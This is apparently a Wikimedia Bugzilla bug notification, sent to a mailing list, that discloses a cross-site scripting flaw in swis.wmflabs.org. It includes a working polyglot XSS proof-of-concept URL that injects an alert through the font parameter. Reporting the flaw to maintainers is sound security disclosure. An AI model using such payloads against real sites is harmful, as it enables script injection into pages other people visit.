https://bugzilla.wikimedia.org/show_bug.cgi?id=44619
Web browser: ---
Bug ID: 44619
Summary: swis.wmflabs.org cross site scripting
Product: Wikimedia Labs
Version: unspecified
Hardware: PC
OS: Windows XP
Status: UNCONFIRMED
Severity: normal
Priority: Unprioritized
Component: (other)
Assignee: wikibugs-l@lists.wikimedia.org
Reporter: insecurity...@gmail.com
CC: benap...@gmail.com, dz...@wikimedia.org,
rlan...@gmail.com, wikibugs-l@lists.wikimedia.org
Classification: Unclassified
Mobile Platform: ---
Created attachment 11721
--> https://bugzilla.wikimedia.org/attachment.cgi?id=11721&action=edit
xss
bug xss, test on firefox browser.
http://swis.wmflabs.org/index.php?fmt=html&font=%27;alert%28String.fromCharCode%2888,83,83%29%29//%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3Epng1
--
You are receiving this mail because:
You are on the CC list for the bug.
You are the assignee for the bug.
You are watching all bug changes.
_______________________________________________
Wikibugs-l mailing list
Wikibugs-l@lists.wikimedia.org
https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
